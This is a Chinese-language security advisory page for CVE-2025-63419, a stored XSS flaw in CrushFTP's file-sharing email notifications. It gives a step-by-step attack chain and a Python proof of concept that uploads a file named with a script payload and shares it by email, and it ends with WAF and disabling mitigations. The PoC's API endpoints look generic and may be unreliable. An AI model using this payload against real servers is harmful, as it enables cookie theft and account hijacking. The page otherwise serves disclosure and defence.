IPBUF安全漏洞报告
English
CVE-2025-63419 CVSS 6.1 中危

CVE-2025-63419: CrushFTP 11.3.6_48 跨站脚本(XSS)漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-63419
漏洞类型
跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CrushFTP 11.3.6_48

相关标签

CVE-2025-63419跨站脚本XSSCrushFTP存储型XSSHTML注入文件分享Web漏洞

漏洞概述

CVE-2025-63419是CrushFTP 11.3.6_48版本中发现的一个跨站脚本(XSS)漏洞。该漏洞存在于CrushFTP的Web-Based Server文件分享功能中。攻击者可以利用此漏洞通过文件分享功能将恶意构造的文件名注入到邮件正文字段中,由于该字段未对用户输入进行充分的消毒处理,导致HTML注入和存储型XSS攻击。攻击成功后可窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意内容。该漏洞需要用户交互才能触发,攻击者需诱骗受害者访问包含恶意脚本的页面。由于CVSS评分为6.1(中危),且攻击复杂度低、无需认证即可实施,因此建议尽快进行修复。

技术细节

该漏洞为存储型XSS漏洞,存在于CrushFTP的文件分享功能模块。当用户通过Web界面分享文件时,系统会将文件名反射到邮件正文中用于通知收件人。问题在于程序直接使用用户提供的文件名而未进行任何HTML实体编码或输入验证。攻击者可以构造包含恶意JavaScript代码的文件名(如:<script>alert(document.cookie)</script>),当受害者打开包含该文件名的邮件通知时,恶意脚本将在其浏览器上下文中执行。由于是存储型XSS,恶意脚本会持久存在于服务器端,所有查看该通知的用户都会受到影响。攻击者可利用窃取的Cookie进行会话劫持,或在网页中插入虚假内容进行钓鱼攻击。修复方案需在文件分享功能处对文件名进行HTML实体编码,转义<、>、"、'等特殊字符。

攻击链分析

STEP 1
步骤1
攻击者注册CrushFTP账户并登录系统
STEP 2
步骤2
攻击者上传文件名包含XSS payload的文件(如<script>alert(document.cookie)</script>)
STEP 3
步骤3
攻击者使用文件分享功能将恶意文件通过邮件发送给受害者
STEP 4
步骤4
服务器将文件名未经过滤直接反射到邮件正文HTML中
STEP 5
步骤5
受害者打开邮件时,恶意JavaScript在其浏览器中执行,窃取Cookie或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-63419 PoC - Stored XSS in CrushFTP File Sharing # Target: CrushFTP 11.3.6_48 target_url = "http://target-server:8080/" # Malicious filename containing XSS payload malicious_filename = '<script>alert(document.cookie)</script>' # Step 1: Authenticate to CrushFTP login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_resp = session.post(f"{target_url}api/login", data=login_data) # Step 2: Upload file with malicious filename files = { "file": (malicious_filename, b"test content", "application/octet-stream") } upload_resp = session.post(f"{target_url}api/upload", files=files) # Step 3: Share the file via email (triggers XSS in email body) share_data = { "filename": malicious_filename, "recipient_email": "[email protected]", "message": "Please check this file" } share_resp = session.post(f"{target_url}api/share", data=share_data) print(f"XSS payload sent: {urllib.parse.quote(malicious_filename)}") print(f"Response: {share_resp.status_code}") # When victim views the email notification, XSS executes

影响范围

CrushFTP 11.3.6_48

防御指南

临时缓解措施
在等待官方补丁期间,可通过配置Web应用防火墙(WAF)规则过滤文件名中的<script>等危险标签,暂时缓解该漏洞的利用风险。同时建议对文件分享功能的邮件发送进行临时禁用,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表